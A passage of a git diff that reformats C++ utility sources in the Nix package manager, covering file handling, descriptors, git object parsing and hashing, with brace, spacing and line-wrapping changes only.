disabled; add '--extra-experimental-features %1%' to enable it", + showExperimentalFeature(feature)) , missingFeature(feature) -{} +{ +} -std::ostream & operator <<(std::ostream & str, const ExperimentalFeature & feature) +std::ostream & operator<<(std::ostream & str, const ExperimentalFeature & feature) { return str << showExperimentalFeature(feature); } diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc index 673e1dff1..833f6b4e1 100644 --- a/src/libutil/file-content-address.cc +++ b/src/libutil/file-content-address.cc @@ -25,7 +25,6 @@ FileSerialisationMethod parseFileSerialisationMethod(std::string_view input) throw UsageError("Unknown file serialiation method '%s', expect `flat` or `nar`"); } - FileIngestionMethod parseFileIngestionMethod(std::string_view input) { if (input == "git") { @@ -39,7 +38,6 @@ FileIngestionMethod parseFileIngestionMethod(std::string_view input) } } - std::string_view renderFileSerialisationMethod(FileSerialisationMethod method) { switch (method) { @@ -52,14 +50,12 @@ std::string_view renderFileSerialisationMethod(FileSerialisationMethod method) } } - std::string_view renderFileIngestionMethod(FileIngestionMethod method) { switch (method) { case FileIngestionMethod::Flat: case FileIngestionMethod::NixArchive: - return renderFileSerialisationMethod( - static_cast(method)); + return renderFileSerialisationMethod(static_cast(method)); case FileIngestionMethod::Git: return "git"; default: @@ -67,12 +63,7 @@ std::string_view renderFileIngestionMethod(FileIngestionMethod method) } } - -void dumpPath( - const SourcePath & path, - Sink & sink, - FileSerialisationMethod method, - PathFilter & filter) +void dumpPath(const SourcePath & path, Sink & sink, FileSerialisationMethod method, PathFilter & filter) { switch (method) { case FileSerialisationMethod::Flat: @@ -84,12 +75,7 @@ void dumpPath( } } - -void restorePath( - const Path & path, - Source & source, - FileSerialisationMethod method, - bool startFsync) +void restorePath(const Path & path, Source & source, FileSerialisationMethod method, bool startFsync) { switch (method) { case FileSerialisationMethod::Flat: @@ -101,22 +87,15 @@ void restorePath( } } - -HashResult hashPath( - const SourcePath & path, - FileSerialisationMethod method, HashAlgorithm ha, - PathFilter & filter) +HashResult hashPath(const SourcePath & path, FileSerialisationMethod method, HashAlgorithm ha, PathFilter & filter) { - HashSink sink { ha }; + HashSink sink{ha}; dumpPath(path, sink, method, filter); return sink.finish(); } - -std::pair> hashPath( - const SourcePath & path, - FileIngestionMethod method, HashAlgorithm ht, - PathFilter & filter) +std::pair> +hashPath(const SourcePath & path, FileIngestionMethod method, HashAlgorithm ht, PathFilter & filter) { switch (method) { case FileIngestionMethod::Flat: diff --git a/src/libutil/file-descriptor.cc b/src/libutil/file-descriptor.cc index 9e0827442..8c2a80b61 100644 --- a/src/libutil/file-descriptor.cc +++ b/src/libutil/file-descriptor.cc @@ -4,9 +4,9 @@ #include #include #ifdef _WIN32 -# include -# include -# include "nix/util/windows-error.hh" +# include +# include +# include "nix/util/windows-error.hh" #endif namespace nix { @@ -17,7 +17,6 @@ void writeLine(Descriptor fd, std::string s) writeFull(fd, s); } - std::string drainFD(Descriptor fd, bool block, const size_t reserveSize) { // the parser needs two extra bytes to append terminating characters, other users will @@ -33,24 +32,27 @@ std::string drainFD(Descriptor fd, bool block, const size_t reserveSize) return std::move(sink.s); } - ////////////////////////////////////////////////////////////////////// +AutoCloseFD::AutoCloseFD() + : fd{INVALID_DESCRIPTOR} +{ +} -AutoCloseFD::AutoCloseFD() : fd{INVALID_DESCRIPTOR} {} - - -AutoCloseFD::AutoCloseFD(Descriptor fd) : fd{fd} {} +AutoCloseFD::AutoCloseFD(Descriptor fd) + : fd{fd} +{ +} // NOTE: This can be noexcept since we are just copying a value and resetting // the file descriptor in the rhs. -AutoCloseFD::AutoCloseFD(AutoCloseFD && that) noexcept : fd{that.fd} +AutoCloseFD::AutoCloseFD(AutoCloseFD && that) noexcept + : fd{that.fd} { that.fd = INVALID_DESCRIPTOR; } - -AutoCloseFD & AutoCloseFD::operator =(AutoCloseFD && that) +AutoCloseFD & AutoCloseFD::operator=(AutoCloseFD && that) { close(); fd = that.fd; @@ -58,7 +60,6 @@ AutoCloseFD & AutoCloseFD::operator =(AutoCloseFD && that) return *this; } - AutoCloseFD::~AutoCloseFD() { try { @@ -68,23 +69,21 @@ AutoCloseFD::~AutoCloseFD() } } - Descriptor AutoCloseFD::get() const { return fd; } - void AutoCloseFD::close() { if (fd != INVALID_DESCRIPTOR) { - if( + if ( #ifdef _WIN32 - ::CloseHandle(fd) + ::CloseHandle(fd) #else - ::close(fd) + ::close(fd) #endif - == -1) + == -1) /* This should never happen. */ throw NativeSysError("closing file descriptor %1%", fd); fd = INVALID_DESCRIPTOR; @@ -109,25 +108,21 @@ void AutoCloseFD::fsync() const } } - - void AutoCloseFD::startFsync() const { #ifdef __linux__ - if (fd != -1) { - /* Ignore failure, since fsync must be run later anyway. This is just a performance optimization. */ - ::sync_file_range(fd, 0, 0, SYNC_FILE_RANGE_WRITE); - } + if (fd != -1) { + /* Ignore failure, since fsync must be run later anyway. This is just a performance optimization. */ + ::sync_file_range(fd, 0, 0, SYNC_FILE_RANGE_WRITE); + } #endif } - AutoCloseFD::operator bool() const { return fd != INVALID_DESCRIPTOR; } - Descriptor AutoCloseFD::release() { Descriptor oldFD = fd; @@ -135,10 +130,8 @@ Descriptor AutoCloseFD::release() return oldFD; } - ////////////////////////////////////////////////////////////////////// - void Pipe::close() { readSide.close(); diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index 39b03268d..16b44d9a5 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -22,7 +22,7 @@ #include #ifdef _WIN32 -# include +# include #endif #include "nix/util/strings-inline.hh" @@ -32,23 +32,23 @@ namespace nix { namespace fs { - using namespace std::filesystem; +using namespace std::filesystem; - bool symlink_exists(const std::filesystem::path & path) { - try { - return std::filesystem::exists(std::filesystem::symlink_status(path)); - } catch (const std::filesystem::filesystem_error & e) { - throw SysError("cannot check existence of %1%", path); - } - } +bool symlink_exists(const std::filesystem::path & path) +{ + try { + return std::filesystem::exists(std::filesystem::symlink_status(path)); + } catch (const std::filesystem::filesystem_error & e) { + throw SysError("cannot check existence of %1%", path); + } +} } bool isAbsolute(PathView path) { - return fs::path { path }.is_absolute(); + return fs::path{path}.is_absolute(); } - Path absPath(PathView path, std::optional dir, bool resolveSymlinks) { std::string scratch; @@ -63,7 +63,7 @@ Path absPath(PathView path, std::optional dir, bool resolveSymlinks) #ifdef __GNU__ /* GNU (aka. GNU/Hurd) doesn't have any limitation on path lengths and doesn't define `PATH_MAX'. */ - char *buf = getcwd(NULL, 0); + char * buf = getcwd(NULL, 0); if (buf == NULL) #else char buf[PATH_MAX]; @@ -94,7 +94,7 @@ Path canonPath(PathView path, bool resolveSymlinks) throw Error("not an absolute path: '%1%'", path); // For Windows - auto rootName = fs::path { path }.root_name(); + auto rootName = fs::path{path}.root_name(); /* This just exists because we cannot set the target of `remaining` (the callback parameter) directly to a newly-constructed string, @@ -106,9 +106,7 @@ Path canonPath(PathView path, bool resolveSymlinks) unsigned int followCount = 0, maxFollow = 1024; auto ret = canonPathInner>( - path, - [&followCount, &temp, maxFollow, resolveSymlinks] - (std::string & result, std::string_view & remaining) { + path, [&followCount, &temp, maxFollow, resolveSymlinks](std::string & result, std::string_view & remaining) { if (resolveSymlinks && fs::is_symlink(result)) { if (++followCount >= maxFollow) throw Error("infinite symlink recursion in path '%0%'", remaining); @@ -132,7 +130,6 @@ Path canonPath(PathView path, bool resolveSymlinks) return ret; } - Path dirOf(const PathView path) { Path::size_type pos = OsPathTrait::rfindPathSep(path); @@ -141,7 +138,6 @@ Path dirOf(const PathView path) return fs::path{path}.parent_path().string(); } - std::string_view baseNameOf(std::string_view path) { if (path.empty()) @@ -160,7 +156,6 @@ std::string_view baseNameOf(std::string_view path) return path.substr(pos, last - pos + 1); } - bool isInDir(const fs::path & path, const fs::path & dir) { /* Note that while the standard doesn't guarantee this, the @@ -171,13 +166,11 @@ bool isInDir(const fs::path & path, const fs::path & dir) return !rel.empty() && rel.native()[0] != OS_STR('.'); } - bool isDirOrInDir(const fs::path & path, const fs::path & dir) { return path == dir || isInDir(path, dir); } - struct stat stat(const Path & path) { struct stat st; @@ -187,9 +180,9 @@ struct stat stat(const Path & path) } #ifdef _WIN32 -# define STAT stat +# define STAT stat #else -# define STAT lstat +# define STAT lstat #endif struct stat lstat(const Path & path) @@ -200,12 +193,10 @@ struct stat lstat(const Path & path) return st; } - std::optional maybeLstat(const Path & path) { std::optional st{std::in_place}; - if (STAT(path.c_str(), &*st)) - { + if (STAT(path.c_str(), &*st)) { if (errno == ENOENT || errno == ENOTDIR) st.reset(); else @@ -214,7 +205,6 @@ std::optional maybeLstat(const Path & path) return st; } - bool pathExists(const Path & path) { return maybeLstat(path).has_value(); @@ -226,27 +216,28 @@ bool pathAccessible(const std::filesystem::path & path) return pathExists(path.string()); } catch (SysError & e) { // swallow EPERM - if (e.errNo == EPERM) return false; + if (e.errNo == EPERM) + return false; throw; } } - Path readLink(const Path & path) { checkInterrupt(); return fs::read_symlink(path).string(); } - std::string readFile(const Path & path) { - AutoCloseFD fd = toDescriptor(open(path.c_str(), O_RDONLY + AutoCloseFD fd = toDescriptor(open( + path.c_str(), + O_RDONLY // TODO #ifndef _WIN32 - | O_CLOEXEC + | O_CLOEXEC #endif - )); + )); if (!fd) throw SysError("opening file '%1%'", path); return readFile(fd.get()); @@ -254,32 +245,35 @@ std::string readFile(const Path & path) std::string readFile(const std::filesystem::path & path) { - return readFile(os_string_to_string(PathViewNG { path })); + return readFile(os_string_to_string(PathViewNG{path})); } - void readFile(const Path & path, Sink & sink) { - AutoCloseFD fd = toDescriptor(open(path.c_str(), O_RDONLY + AutoCloseFD fd = toDescriptor(open( + path.c_str(), + O_RDONLY // TODO #ifndef _WIN32 - | O_CLOEXEC + | O_CLOEXEC #endif - )); + )); if (!fd) throw SysError("opening file '%s'", path); drainFD(fd.get(), sink); } - void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) { - AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT + AutoCloseFD fd = toDescriptor(open( + path.c_str(), + O_WRONLY | O_TRUNC | O_CREAT // TODO #ifndef _WIN32 - | O_CLOEXEC + | O_CLOEXEC #endif - , mode)); + , + mode)); if (!fd) throw SysError("opening file '%1%'", path); try { @@ -296,15 +290,17 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) syncParent(path); } - void writeFile(const Path & path, Source & source, mode_t mode, bool sync) { - AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT + AutoCloseFD fd = toDescriptor(open( + path.c_str(), + O_WRONLY | O_TRUNC | O_CREAT // TODO #ifndef _WIN32 - | O_CLOEXEC + | O_CLOEXEC #endif - , mode)); + , + mode)); if (!fd) throw SysError("opening file '%1%'", path); @@ -315,7 +311,9 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync) try { auto n = source.read(buf.data(), buf.size()); writeFull(fd.get(), {buf.data(), n}); - } catch (EndOfFile &) { break; } + } catch (EndOfFile &) { + break; + } } } catch (Error & e) { e.addTrace({}, "writing file '%1%'", path); @@ -337,7 +335,6 @@ void syncParent(const Path & path) fd.fsync(); } - void recursiveSync(const Path & path) { /* If it's a file or symlink, just fsync and return. */ @@ -382,7 +379,6 @@ void recursiveSync(const Path & path) } } - static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & bytesFreed) { #ifndef _WIN32 @@ -391,9 +387,9 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b std::string name(baseNameOf(path.native())); struct stat st; - if (fstatat(parentfd, name.c_str(), &st, - AT_SYMLINK_NOFOLLOW) == -1) { - if (errno == ENOENT) return; + if (fstatat(parentfd, name.c_str(), &st, AT_SYMLINK_NOFOLLOW) == -1) { + if (errno == ENOENT) + return; throw SysError("getting status of %1%", path); } @@ -401,23 +397,23 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b /* We are about to delete a file. Will it likely free space? */ switch (st.st_nlink) { - /* Yes: last link. */ - case 1: - bytesFreed += st.st_size; - break; - /* Maybe: yes, if 'auto-optimise-store' or manual optimisation - was performed. Instead of checking for real let's assume - it's an optimised file and space will be freed. + /* Yes: last link. */ + case 1: + bytesFreed += st.st_size; + break; + /* Maybe: yes, if 'auto-optimise-store' or manual optimisation + was performed. Instead of checking for real let's assume + it's an optimised file and space will be freed. - In worst case we will double count on freed space for files - with exactly two hardlinks for unoptimised packages. - */ - case 2: - bytesFreed += st.st_size; - break; - /* No: 3+ links. */ - default: - break; + In worst case we will double count on freed space for files + with exactly two hardlinks for unoptimised packages. + */ + case 2: + bytesFreed += st.st_size; + break; + /* No: 3+ links. */ + default: + break; } } @@ -440,15 +436,18 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b while (errno = 0, dirent = readdir(dir.get())) { /* sic */ checkInterrupt(); std::string childName = dirent->d_name; - if (childName == "." || childName == "..") continue; + if (childName == "." || childName == "..") + continue; _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed); } - if (errno) throw SysError("reading directory %1%", path); + if (errno) + throw SysError("reading directory %1%", path); } int flags = S_ISDIR(st.st_mode) ? AT_REMOVEDIR : 0; if (unlinkat(parentfd, name.c_str(), flags) == -1) { - if (errno == ENOENT) return; + if (errno == ENOENT) + return; throw SysError("cannot unlink %1%", path); } #else @@ -465,14 +464,14 @@ static void _deletePath(const fs::path & path, uint64_t & bytesFreed) AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY)); if (!dirfd) { - if (errno == ENOENT) return; + if (errno == ENOENT) + return; throw SysError("opening directory '%1%'", path); } _deletePath(dirfd.get(), path, bytesFreed); } - void deletePath(const fs::path & path) { uint64_t dummy; @@ -481,11 +480,14 @@ void deletePath(const fs::path & path) void createDir(const Path & path, mode_t mode) { - if (mkdir(path.c_str() + if (mkdir( + path.c_str() #ifndef _WIN32 - , mode + , + mode #endif - ) == -1) + ) + == -1) throw SysError("creating directory '%1%'", path); } @@ -498,20 +500,22 @@ void createDirs(const fs::path & path) } } - void deletePath(const fs::path & path, uint64_t & bytesFreed) { - //Activity act(*logger, lvlDebug, "recursively deleting path '%1%'", path); + // Activity act(*logger, lvlDebug, "recursively deleting path '%1%'", path); bytesFreed = 0; _deletePath(path, bytesFreed); } - ////////////////////////////////////////////////////////////////////// -AutoDelete::AutoDelete() : del{false} {} +AutoDelete::AutoDelete() + : del{false} +{ +} -AutoDelete::AutoDelete(const std::filesystem::path & p, bool recursive) : _path(p) +AutoDelete::AutoDelete(const std::filesystem::path & p, bool recursive) + : _path(p) { del = true; this->recursive = recursive; @@ -537,7 +541,8 @@ void AutoDelete::cancel() del = false; } -void AutoDelete::reset(const fs::path & p, bool recursive) { +void AutoDelete::reset(const fs::path & p, bool recursive) +{ _path = p; this->recursive = recursive; del = true; @@ -547,12 +552,12 @@ void AutoDelete::reset(const fs::path & p, bool recursive) { ////////////////////////////////////////////////////////////////////// -std::string defaultTempDir() { +std::string defaultTempDir() +{ return getEnvNonEmpty("TMPDIR").value_or("/tmp"); } -static Path tempName(Path tmpRoot, const Path & prefix, bool includePid, - std::atomic & counter) +static Path tempName(Path tmpRoot, const Path & prefix, bool includePid, std::atomic & counter) { tmpRoot = canonPath(tmpRoot.empty() ? defaultTempDir() : tmpRoot, true); if (includePid) @@ -561,8 +566,7 @@ static Path tempName(Path tmpRoot, const Path & prefix, bool includePid, return fmt("%1%/%2%-%3%", tmpRoot, prefix, counter++); } -Path createTempDir(const Path & tmpRoot, const Path & prefix, - bool includePid, bool useGlobalCounter, mode_t mode) +Path createTempDir(const Path & tmpRoot, const Path & prefix, bool includePid, bool useGlobalCounter, mode_t mode) { static std::atomic globalCounter = 0; std::atomic localCounter = 0; @@ -571,11 +575,14 @@ Path createTempDir(const Path & tmpRoot, const Path & prefix, while (1) { checkInterrupt(); Path tmpDir = tempName(tmpRoot, prefix, includePid, counter); - if (mkdir(tmpDir.c_str() + if (mkdir( + tmpDir.c_str() #ifndef _WIN32 // TODO abstract mkdir perms for Windows - , mode + , + mode #endif - ) == 0) { + ) + == 0) { #ifdef __FreeBSD__ /* Explicitly set the group of the directory. This is to work around around problems caused by BSD's group @@ -595,7 +602,6 @@ Path createTempDir(const Path & tmpRoot, const Path & prefix, } } - std::pair createTempFile(const Path & prefix) { Path tmpl(defaultTempDir() + "/" + prefix + ".XXXXXX"); @@ -628,18 +634,19 @@ void replaceSymlink(const fs::path & target, const fs::path & link) try { fs::create_symlink(target, tmp); } catch (fs::filesystem_error & e) { - if (e.code() == std::errc::file_exists) continue; + if (e.code() == std::errc::file_exists) + continue; throw SysError("creating symlink '%1%' -> '%2%'", tmp, target); } try { fs::rename(tmp, link); } catch (fs::filesystem_error & e) { - if (e.code() == std::errc::file_exists) continue; + if (e.code() == std::errc::file_exists) + continue; throw SysError("renaming '%1%' to '%2%'", tmp, link); } - break; } } @@ -658,7 +665,6 @@ void copyFile(const fs::path & from, const fs::path & to, bool andDelete) fs::permissions(from, fs::perms::owner_write, fs::perm_options::add | fs::perm_options::nofollow); } - if (fs::is_symlink(fromStatus) || fs::is_regular_file(fromStatus)) { fs::copy(from, to, fs::copy_options::copy_symlinks | fs::copy_options::overwrite_existing); } else if (fs::is_directory(fromStatus)) { @@ -687,9 +693,7 @@ void moveFile(const Path & oldName, const Path & newName) auto newPath = fs::path(newName); // For the move to be as atomic as possible, copy to a temporary // directory - fs::path temp = createTempDir( - os_string_to_string(PathViewNG { newPath.parent_path() }), - "rename-tmp"); + fs::path temp = createTempDir(os_string_to_string(PathViewNG{newPath.parent_path()}), "rename-tmp"); Finally removeTemp = [&]() { fs::remove(temp); }; auto tempCopyTarget = temp / "copy-target"; if (e.code().value() == EXDEV) { @@ -697,31 +701,34 @@ void moveFile(const Path & oldName, const Path & newName) warn("can’t rename %s as %s, copying instead", oldName, newName); copyFile(oldPath, tempCopyTarget, true); std::filesystem::rename( - os_string_to_string(PathViewNG { tempCopyTarget }), - os_string_to_string(PathViewNG { newPath })); + os_string_to_string(PathViewNG{tempCopyTarget}), os_string_to_string(PathViewNG{newPath})); } } } ////////////////////////////////////////////////////////////////////// -bool isExecutableFileAmbient(const fs::path & exe) { +bool isExecutableFileAmbient(const fs::path & exe) +{ // Check file type, because directory being executable means // something completely different. // `is_regular_file` follows symlinks before checking. return std::filesystem::is_regular_file(exe) - && access(exe.string().c_str(), + && access( + exe.string().c_str(), #ifdef WIN32 - 0 // TODO do better + 0 // TODO do better #else - X_OK + X_OK #endif - ) == 0; + ) + == 0; } std::filesystem::path makeParentCanonical(const std::filesystem::path & rawPath) { - std::filesystem::path path(absPath(rawPath));; + std::filesystem::path path(absPath(rawPath)); + ; try { auto parent = path.parent_path(); if (parent == path) { diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc index 7b8fc3b2a..b46434c59 100644 --- a/src/libutil/fs-sink.cc +++ b/src/libutil/fs-sink.cc @@ -5,47 +5,38 @@ #include "nix/util/fs-sink.hh" #ifdef _WIN32 -# include -# include "nix/util/file-path.hh" -# include "nix/util/windows-error.hh" +# include +# include "nix/util/file-path.hh" +# include "nix/util/windows-error.hh" #endif #include "util-config-private.hh" namespace nix { -void copyRecursive( - SourceAccessor & accessor, const CanonPath & from, - FileSystemObjectSink & sink, const CanonPath & to) +void copyRecursive(SourceAccessor & accessor, const CanonPath & from, FileSystemObjectSink & sink, const CanonPath & to) { auto stat = accessor.lstat(from); switch (stat.type) { - case SourceAccessor::tSymlink: - { + case SourceAccessor::tSymlink: { sink.createSymlink(to, accessor.readLink(from)); break; } - case SourceAccessor::tRegular: - { + case SourceAccessor::tRegular: { sink.createRegularFile(to, [&](CreateRegularFileSink & crf) { if (stat.isExecutable) crf.isExecutable(); - accessor.readFile(from, crf, [&](uint64_t size) { - crf.preallocateContents(size); - }); + accessor.readFile(from, crf, [&](uint64_t size) { crf.preallocateContents(size); }); }); break; } - case SourceAccessor::tDirectory: - { + case SourceAccessor::tDirectory: { sink.createDirectory(to); for (auto & [name, _] : accessor.readDirectory(from)) { - copyRecursive( - accessor, from / name, - sink, to / name); + copyRecursive(accessor, from / name, sink, to / name); break; } break; @@ -61,11 +52,10 @@ void copyRecursive( } } - struct RestoreSinkSettings : Config { - Setting preallocateContents{this, false, "preallocate-contents", - "Whether to preallocate files when writing objects with known size."}; + Setting preallocateContents{ + this, false, "preallocate-contents", "Whether to preallocate files when writing objects with known size."}; }; static RestoreSinkSettings restoreSinkSettings; @@ -87,7 +77,8 @@ void RestoreSink::createDirectory(const CanonPath & path) throw Error("path '%s' already exists", p.string()); }; -struct RestoreRegularFile : CreateRegularFileSink { +struct RestoreRegularFile : CreateRegularFileSink +{ AutoCloseFD fd; bool startFsync = false; @@ -101,7 +92,7 @@ struct RestoreRegularFile : CreateRegularFileSink { fd.startFsync(); } - void operator () (std::string_view data) override; + void operator()(std::string_view data) override; void isExecutable() override; void preallocateContents(uint64_t size) override; }; @@ -114,12 +105,20 @@ void RestoreSink::createRegularFile(const CanonPath & path, std::function func) { - struct CRF : CreateRegularFileSink { + struct CRF : CreateRegularFileSink + { RegularFileSink & back; - CRF(RegularFileSink & back) : back(back) {} - void operator () (std::string_view data) override + CRF(RegularFileSink & back) + : back(back) + { + } + void operator()(std::string_view data) override { back.sink(data); } void isExecutable() override {} - } crf { *this }; + } crf{*this}; func(crf); } - -void NullFileSystemObjectSink::createRegularFile(const CanonPath & path, std::function func) +void NullFileSystemObjectSink::createRegularFile( + const CanonPath & path, std::function func) { - struct : CreateRegularFileSink { - void operator () (std::string_view data) override {} + struct : CreateRegularFileSink + { + void operator()(std::string_view data) override {} void isExecutable() override {} } crf; // Even though `NullFileSystemObjectSink` doesn't do anything, it's important diff --git a/src/libutil/git.cc b/src/libutil/git.cc index 45cda1c2c..383621cdb 100644 --- a/src/libutil/git.cc +++ b/src/libutil/git.cc @@ -17,32 +17,31 @@ namespace nix::git { using namespace nix; using namespace std::string_literals; -std::optional decodeMode(RawMode m) { +std::optional decodeMode(RawMode m) +{ switch (m) { - case (RawMode) Mode::Directory: - case (RawMode) Mode::Executable: - case (RawMode) Mode::Regular: - case (RawMode) Mode::Symlink: - return (Mode) m; - default: - return std::nullopt; + case (RawMode) Mode::Directory: + case (RawMode) Mode::Executable: + case (RawMode) Mode::Regular: + case (RawMode) Mode::Symlink: + return (Mode) m; + default: + return std::nullopt; } } - static std::string getStringUntil(Source & source, char byte) { std::string s; - char n[1] = { 0 }; - source(std::string_view { n, 1 }); + char n[1] = {0}; + source(std::string_view{n, 1}); while (*n != byte) { s += *n; - source(std::string_view { n, 1 }); + source(std::string_view{n, 1}); } return s; } - static std::string getString(Source & source, int n) { std::string v; @@ -75,7 +74,7 @@ void parseBlob( while (left) { checkInterrupt(); - buf.resize(std::min((unsigned long long)buf.capacity(), left)); + buf.resize(std::min((unsigned long long) buf.capacity(), left)); source(buf); crf(buf); left -= buf.size(); @@ -93,16 +92,13 @@ void parseBlob( doRegularFile(true); break; - case BlobMode::Symlink: - { + case BlobMode::Symlink: { std::string target; target.resize(size, '0'); target.reserve(size); for (size_t n = 0; n < target.size();) { checkInterrupt(); - n += source.read( - const_cast(target.c_str()) + n, - target.size() - n); + n += source.read(const_cast(target.c_str()) + n, target.size() - n); } sink.createSymlink(sinkPath, target); @@ -147,16 +143,16 @@ void parseTree( Hash hash(HashAlgorithm::SHA1); std::copy(hashs.begin(), hashs.end(), hash.hash); - hook(CanonPath{name}, TreeEntry { - .mode = mode, - .hash = hash, - }); + hook( + CanonPath{name}, + TreeEntry{ + .mode = mode, + .hash = hash, + }); } } -ObjectType parseObjectType( - Source & source, - const ExperimentalFeatureSettings & xpSettings) +ObjectType parseObjectType(Source & source, const ExperimentalFeatureSettings & xpSettings) { xpSettings.require(Xp::GitHashing); @@ -166,7 +162,8 @@ ObjectType parseObjectType( return ObjectType::Blob; } else if (type == "tree ") { return ObjectType::Tree; - } else throw Error("input doesn't look like a Git object"); + } else + throw Error("input doesn't look like a Git object"); } void parse( @@ -193,23 +190,26 @@ void parse( }; } - std::optional convertMode(SourceAccessor::Type type) { switch (type) { - case SourceAccessor::tSymlink: return Mode::Symlink; - case SourceAccessor::tRegular: return Mode::Regular; - case SourceAccessor::tDirectory: return Mode::Directory; + case SourceAccessor::tSymlink: + return Mode::Symlink; + case SourceAccessor::tRegular: + return Mode::Regular; + case SourceAccessor::tDirectory: + return Mode::Directory; case SourceAccessor::tChar: case SourceAccessor::tBlock: case SourceAccessor::tSocket: - case SourceAccessor::tFifo: return std::nullopt; + case SourceAccessor::tFifo: + return std::nullopt; case SourceAccessor::tUnknown: - default: unreachable(); + default: + unreachable(); } } - void restore(FileSystemObjectSink & sink, Source & source, std::function hook) { parse(sink, CanonPath::root, source, BlobMode::Regular, [&](CanonPath name, TreeEntry entry) { @@ -217,35 +217,30 @@ void restore(FileSystemObjectSink & sink, Source & source, std::functionlstat(from); auto gotOpt = convertMode(stat.type); if (!gotOpt) - throw Error("file '%s' (git hash %s) has an unsupported type", + throw Error( + "file '%s' (git hash %s) has an unsupported type", from, entry.hash.to_string(HashFormat::Base16, false)); auto & got = *gotOpt; if (got != entry.mode) - throw Error("git mode of file '%s' (git hash %s) is %o but expected %o", + throw Error( + "git mode of file '%s' (git hash %s) is %o but expected %o", from, entry.hash.to_string(HashFormat::Base16, false), (RawMode) got, (RawMode) entry.mode); - copyRecursive( - *accessor, from, - sink, name); + copyRecursive(*accessor, from, sink, name); }); } - -void dumpBlobPrefix( - uint64_t size, Sink & sink, - const ExperimentalFeatureSettings & xpSettings) +void dumpBlobPrefix(uint64_t size, Sink & sink, const ExperimentalFeatureSettings & xpSettings) { xpSettings.require(Xp::GitHashing); auto s = fmt("blob %d\0"s, std::to_string(size)); sink(s); } - -void dumpTree(const Tree & entries, Sink & sink, - const ExperimentalFeatureSettings & xpSettings) +void dumpTree(const Tree & entries, Sink & sink, const ExperimentalFeatureSettings & xpSettings) { xpSettings.require(Xp::GitHashing); @@ -270,7 +265,6 @@ void dumpTree(const Tree & entries, Sink & sink, sink(v1); } - Mode dump( const SourcePath & path, Sink & sink, @@ -281,22 +275,17 @@ Mode dump( auto st = path.lstat(); switch (st.type) { - case SourceAccessor::tRegular: - { - path.readFile(sink, [&](uint64_t size) { - dumpBlobPrefix(size, sink, xpSettings); - }); - return st.isExecutable - ? Mode::Executable - : Mode::Regular; + case SourceAccessor::tRegular: { + path.readFile(sink, [&](uint64_t size) { dumpBlobPrefix(size, sink, xpSettings); }); + return st.isExecutable ? Mode::Executable : Mode::Regular; } - case SourceAccessor::tDirectory: - { + case SourceAccessor::tDirectory: { Tree entries; for (auto & [name, _] : path.readDirectory()) { auto child = path / name; - if (!filter(child.path.abs())) continue; + if (!filter(child.path.abs())) + continue; auto entry = hook(child); @@ -310,8 +299,7 @@ Mode dump( return Mode::Directory; } - case SourceAccessor::tSymlink: - { + case SourceAccessor::tSymlink: { auto target = path.readLink(); dumpBlobPrefix(target.size(), sink, xpSettings); sink(target); @@ -328,11 +316,7 @@ Mode dump( } } - -TreeEntry dumpHash( - HashAlgorithm ha, - const SourcePath & path, - PathFilter & filter) +TreeEntry dumpHash(HashAlgorithm ha, const SourcePath & path, PathFilter & filter) { std::function hook; hook = [&](const SourcePath & path) -> TreeEntry { @@ -348,7 +332,6 @@ TreeEntry dumpHash( return hook(path); } - std::optional parseLsRemoteLine(std::string_view line) { const static std::regex line_regex("^(ref: *)?([^\\s]+)(?:\\t+(.*))?$"); @@ -356,13 +339,10 @@ std::optional parseLsRemoteLine(std::string_view line) if (!std::regex_match(line.cbegin(), line.cend(), match, line_regex)) return std::nullopt; - return LsRemoteRefLine { - .kind = match[1].length() == 0 - ? LsRemoteRefLine::Kind::Object - : LsRemoteRefLine::Kind::Symbolic, + return LsRemoteRefLine{ + .kind = match[1].length() == 0 ? LsRemoteRefLine::Kind::Object : LsRemoteRefLine::Kind::Symbolic, .target = match[2], - .reference = match[3].length() == 0 ? std::nullopt : std::optional{ match[3] } - }; + .reference = match[3].length() == 0 ? std::nullopt : std::optional{match[3]}}; } } diff --git a/src/libutil/hash.cc b/src/libutil/hash.cc index 0a654b914..1e60d324c 100644 --- a/src/libutil/hash.cc +++ b/src/libutil/hash.cc @@ -20,23 +20,29 @@ namespace nix { -static size_t regularHashSize(HashAlgorithm type) { +static size_t regularHashSize(HashAlgorithm type) +{ switch (type) { - case HashAlgorithm::BLAKE3: return blake3HashSize; - case HashAlgorithm::MD5: return md5HashSize; - case HashAlgorithm::SHA1: return sha1HashSize; - case HashAlgorithm::SHA256: return sha256HashSize; - case HashAlgorithm::SHA512: return sha512HashSize; + case HashAlgorithm::BLAKE3: + return blake3HashSize; + case HashAlgorithm::MD5: + return md5HashSize; + case HashAlgorithm::SHA1: + return sha1HashSize; + case HashAlgorithm::SHA256: + return sha256HashSize; + case HashAlgorithm::SHA512: + return sha512HashSize; } unreachable(); } +const std::set hashAlgorithms = {"blake3", "md5", "sha1", "sha256", "sha512"}; -const std::set hashAlgorithms = {"blake3", "md5", "sha1", "sha256", "sha512" }; +const std::set hashFormats = {"base64", "nix32", "base16", "sri"}; -const std::set hashFormats = {"base64", "nix32", "base16", "sri" }; - -Hash::Hash(HashAlgorithm algo, const ExperimentalFeatureSettings & xpSettings) : algo(algo) +Hash::Hash(HashAlgorithm algo, const ExperimentalFeatureSettings & xpSettings) + : algo(algo) { if (algo == HashAlgorithm::BLAKE3) { xpSettings.require(Xp::BLAKE3Hashes); @@ -46,30 +52,31 @@ Hash::Hash(HashAlgorithm algo, const ExperimentalFeatureSettings & xpSettings) : memset(hash, 0, maxHashSize); } - -bool Hash::operator == (const Hash & h2) const noexcept +bool Hash::operator==(const Hash & h2) const noexcept 